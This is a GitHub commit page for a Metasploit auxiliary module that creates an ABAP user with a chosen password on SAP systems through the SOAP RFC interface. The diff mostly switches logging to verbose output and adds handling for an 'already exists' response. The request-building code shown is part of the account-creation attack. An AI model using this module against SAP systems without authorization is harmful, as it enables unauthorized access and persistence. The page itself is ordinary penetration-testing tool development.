Skip to content

Commit c6c7998

Browse files
author
jvazquez-r7
committed
Fix feedback provided by @nmonkee
1 parent 6b6b532 commit c6c7998

File tree

1 file changed

+10
-7
lines changed

1 file changed

+10
-7
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ def run_host(ip)
7070
data << '</env:Envelope>'
7171

7272
begin
73-
print_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}'")
73+
vprint_status("[SAP] #{ip}:#{rport} - Attempting to create user '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}'")
7474
res = send_request_cgi({
7575
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
7676
'method' => 'POST',
@@ -85,25 +85,28 @@ def run_host(ip)
8585
})
8686
if res and res.code == 200
8787
if res.body =~ /<h1>Logon failed<\/h1>/
88-
print_error("[SAP] #{ip}:#{rport} - Logon failed")
88+
vprint_error("[SAP] #{ip}:#{rport} - Logon failed")
8989
return
9090
elsif res.body =~ /faultstring/
9191
error = []
9292
error = [ res.body.scan(%r{(.*?)}) ]
93-
print_error("[SAP] #{ip}:#{rport} - #{error.join.chomp}")
93+
vprint_error("[SAP] #{ip}:#{rport} - #{error.join.chomp}")
9494
return
9595
else
9696
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['ABAP_USER']}' with password '#{datastore['ABAP_PASSWORD']}' created")
9797
return
9898
end
99+
elsif res and res.code == 500 and res.body =~ /USER_ALLREADY_EXISTS/
100+
vprint_error("[SAP] #{ip}:#{rport} - user already exists")
101+
return
99102
else
100-
print_error("[SAP] #{ip}:#{rport} - Unknown error")
101-
print_error("[SAP] #{ip}:#{rport} - Error code: " + res.code) if res
102-
print_error("[SAP] #{ip}:#{rport} - Error message: " + res.message) if res
103+
vprint_error("[SAP] #{ip}:#{rport} - Unknown error")
104+
vprint_error("[SAP] #{ip}:#{rport} - Error code: " + res.code) if res
105+
vprint_error("[SAP] #{ip}:#{rport} - Error message: " + res.message) if res
103106
return
104107
end
105108
rescue ::Rex::ConnectionError
106-
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
109+
vprint_error("[SAP] #{rhost}:#{rport} - Unable to connect")
107110
return
108111
end
109112
end

0 commit comments

Comments
 (0)